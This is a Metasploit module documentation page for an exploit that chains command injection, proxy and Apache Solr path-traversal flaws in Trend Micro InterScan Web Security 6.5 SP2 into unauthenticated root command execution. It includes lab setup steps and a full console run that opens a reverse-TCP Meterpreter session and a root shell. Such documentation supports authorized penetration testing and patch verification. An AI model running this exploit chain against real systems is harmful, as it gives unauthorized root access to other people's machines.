3.8 KiB
Vulnerable Application
This module exploits multiple vulnerabilities together in order to achive a remote code execution. Unauthenticated users can execute a terminal command under the context of the root user.
The specific flaw exists within the LogSettingHandler class of administrator interface software. When parsing the mount_device parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. But authentication is required to exploit this vulnerability.
Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users can exploit this vulnerability in order to communicate with internal services in the product.
Last but not least flaw exists within the Apache Solr application, which is installed within the product. When parsing the file parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of IWSS user.
Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the root user.
Vulnerable Application Installation Steps
Trend Micro Web Security is distrubed as an ISO image by Trend Micro.
Following steps are valid on the CentOS 6 x64 bit operating system.
- Open following URL http://downloadcenter.trendmicro.com/
- Find "InterScan Web Security Virtual Appliance)" and click.
- Go to Service Pack section.
- At the time of writing this documentation, you must see IWSVA-6.5-SP2-1548-x86_64.iso next to Download button.
- Click to the download button and complete installation of ISO.
https://files.trendmicro.com/products/iwsva/6.5/IWSVA-6.5-SP2-1548-x86_64.iso
System settings used for installation:
- Virtualbox or VMware can be used.
- 8 GB of memory at least.
- 60 GB of disk size at least.
Verification Steps
A successful check of the exploit will look like this:
- Start
msfconsole - Run
use exploit/linux/http/trendmicro_websecurity_exec - Set
RHOST - Set
LHOST - Run
check - Verify that you are seeing
The target is vulnerable. - Run
exploit - Verify that you are seeing
Latest session id is successfully extracted : 29A589E94A0BC0954F7F9B1FE7EC8858in console.
Scenerio
This module has been tested against Trend Micro Web Security 6.5-SP2_Build_Linux_1852.
msf5 > use exploit/linux/http/trendmicro_websecurity_exec
msf5 exploit(linux/http/trendmicro_websecurity_exec) > set RHOSTS 192.168.74.31
RHOSTS => 192.168.74.31
msf5 exploit(linux/http/trendmicro_websecurity_exec) > set LHOST 172.27.199.6
LHOST => 172.27.199.6
msf5 exploit(linux/http/trendmicro_websecurity_exec) > check
[+] 192.168.74.31:8443 - The target is vulnerable.
msf5 exploit(linux/http/trendmicro_websecurity_exec) > exploit
[*] Started reverse TCP handler on 172.27.199.6:4444
[*] Exploiting command injection vulnerability
[+] Latest session id is successfully extracted : 29A589E94A0BC0954F7F9B1FE7EC8858
[*] Sending stage (53755 bytes) to 172.27.192.1
[*] Meterpreter session 1 opened (172.27.199.6:4444 -> 172.27.192.1:55842) at 2020-06-14 20:24:53 +0300
meterpreter > sysinfo
Computer : trendmicro
OS : Linux 2.6.32-504.OpenVA.3.5.1375.el6.x86_64 #1 SMP Wed Dec 28 16:16:16 CST 2016
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > shell
Process 6306 created.
Channel 1 created.
sh: no job control in this shell
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root),499(iscan)
sh-4.1#